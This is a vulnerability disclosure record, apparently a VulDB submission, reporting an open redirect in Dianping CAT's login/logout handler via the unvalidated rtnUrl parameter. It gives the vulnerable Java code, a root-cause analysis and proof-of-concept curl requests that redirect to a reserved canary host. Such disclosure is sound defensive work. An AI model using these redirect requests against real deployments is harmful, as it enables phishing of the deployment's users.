| Название | Dianping (Meituan) CAT (Central Application Tracking), module `cat-home` 3.0.0 (released tag, same `redirect()` code) and the 4.0-RC1 development line; reviewed at commit e815e74d4c2dd74edac831241f1253fcc7d25381 URL redirection to untrusted site — open |
|---|
| Описание | Open redirect in the CAT login/logout endpoint via the unvalidated rtnUrl parameter
Vendor: Dianping (Meituan)
Affected versions: 3.0.0 (released tag, same `redirect()` code) and the 4.0-RC1 development line; reviewed at commit e815e74d4c2dd74edac831241f1253fcc7d25381
Vulnerability class: URL redirection to untrusted site — open redirect (CWE-601)
Preconditions: none for the `op=logout` variant — anyone who can reach the deployment can call it. The endpoint is explicitly exempted from the permission filter (`PermissionFilter.java:42,81-82`), and the runtime proof sends no cookie, token or `Authorization` header. The post-login variant needs any account the deployment accepts (reproduced with the product's own default `CAT_AUTH_TYPE=ADMIN_PWD` account).
Open redirect in the CAT login/logout endpoint via the unvalidated rtnUrl parameter
Data flow: HTTP parameter `rtnUrl` → `login/Payload.java` → `Handler.redirect()` (`Handler.java:205-218`) → `ctx.redirect(url)` → `HttpServletResponse.sendRedirect(url)`
### Affected interfaces
| Interface |
|---|
| GET /cat/s/login?op=logout&rtnUrl=<attacker URL> — anonymous |
| POST /cat/s/login with form field `rtnUrl=<attacker URL>` after a successful sign-in (form fields `login=<submit>&account=<user>&password=<pw>&rtnUrl=<url>`) |
Primary route detail:
```
GET /cat/s/login?op=logout&rtnUrl=<absolute-or-protocol-relative URL>
```
Anonymous. The `rtnUrl` parameter is a return-URL whose intended scope is a page inside the CAT origin (when the parameter is absent, `Handler.handleOutbound` fills it with the current request URI). It is passed straight to `HttpServletResponse.sendRedirect` with no origin validation, so a completely anonymous request is answered with `302` and the attacker's absolute (or protocol-relative) URL in the `Location` header.
### Root cause
1. **Source** — `cat-home/src/main/java/com/dianping/cat/system/page/login/Payload.java:33-34`: `@FieldMeta("rtnUrl") private String m_rtnUrl;` binds the HTTP parameter verbatim (getter `:81-86`). The login form itself carries the parameter (`cat-home/src/main/webapp/jsp/system/login.jsp:65`, `<input type="hidden" id="rtnUrl" name="rtnUrl" value="" />`), and `Handler.handleOutbound` (`Handler.java:152-160`) fills it with the current request URI when it is absent — i.e. its intended scope is a same-origin page.
2. **Sink** — `Handler.java:205-218`:
```java
private void redirect(Context ctx, Payload payload) {
String url = payload.getRtnUrl();
String loginUrl = ctx.getRequestContext().getActionUri(SystemPage.LOGIN.getName());
if (url == null || url.length() == 0 || url.equals(loginUrl)) {
url = ctx.getRequestContext().getActionUri("");
}
if (url.indexOf("/cat/s/login") > -1) {
url = "/cat/r/home";
}
ctx.redirect(url); // ActionContext -> HttpServletResponse.sendRedirect(url)
ctx.stopProcess();
}
```
3. `redirect()` is called from both the `LOGOUT` branch (`Handler.java:82-87`) and the successful-`LOGIN` branch (`Handler.java:76`).
4. **Missing guard** — the only validation is the substring test `url.indexOf("/cat/s/login") > -1`; absolute (`https://…`) and protocol-relative (`//…`) URLs pass through unchanged, so a parameter that is meant to name a page inside the application escapes the application origin. No same-origin check, scheme allow-list or host comparison exists anywhere on the path.
Baseline: commit `e815e74d4c2dd74edac831241f1253fcc7d25381`, `cat-home.war` built from source with Maven (sha256 `2152e10cdcdc1c2fafb2dd617755b0388e3e9bcc71306c9c9738bbc027e89107`), self-hosted instance on the reporter's own host on Tomcat 9.0.121 at `127.0.0.1:18808`, with a MySQL 8.4.11 instance. The canary host is a reserved `.invalid` name that is never resolved — only the `Location` header is observed.
**1. Anonymous open redirect (absolute URL)**
```sh
$ curl -s -i 'http://127.0.0.1:18808/cat/s/login?op=logout&rtnUrl=https://cv3-cat-canary.invalid/redirect-9f31'
HTTP/1.1 302
Set-Cookie: ct=; Max-Age=0; Expires=Thu, 01 Jan 1970 00:00:10 GMT; Path=/
location: https://cv3-cat-canary.invalid/redirect-9f31
```
**2. Protocol-relative variant (also anonymous)**
```sh
$ curl -s -i --globoff 'http://127.0.0.1:18808/cat/s/login?op=logout&rtnUrl=//cv3-cat-canary.invalid/proto-relative-9f31'
HTTP/1.1 302
location: //cv3-cat-canary.invalid/proto-relative-9f31
```
**3. Post-login branch of the same helper** (account the application accepts out of the box, `SessionManager.java:113-125`):
```sh
$ POST /cat/s/login form: login=true, account=admin, password=<redacted>, rtnUrl=https://cv3-cat-canary.invalid/login-redirect-9f31
HTTP/1.1 302
Set-Cookie: ct=<redacted>; Path=/
location: https://cv3-cat-canary.invalid/login-redirect-9f31
```
**4. Negative controls** — no `rtnUrl` at all, and a wrong password:
```sh
$ curl -s -i 'http://127.0.0.1:18808/cat/s/login?op=logout'
HTTP/1.1 302
location: /cat/s/ # stays on the server
control (wrong password): HTTP/1.1 200 -> login form is rendered, no redirect
```
- **Vendor contact**: GitHub Private Vulnerability Reporting - dianping/cat
- **Status**: vendor notified 2026-10-06 through GitHub Private Vulnerability Reporting; private report <<GHSA_LINK>>; not publicly disclosed; no CVE assigned
- **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally. |
|---|
| Пользователь | lucasg2g (UID 84737) |
|---|
| Представление | 15.10.2026 07:30 (24 дни назад) |
|---|
| Модерация | 08.11.2026 11:49 (24 days later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 432809 [Dianping CAT 3.0.0/3.1.0/4.0-RC1 Login/Logout Handler.java Handler.redirect rtnUrl Redirect] |
|---|
| Баллы | 19 |
|---|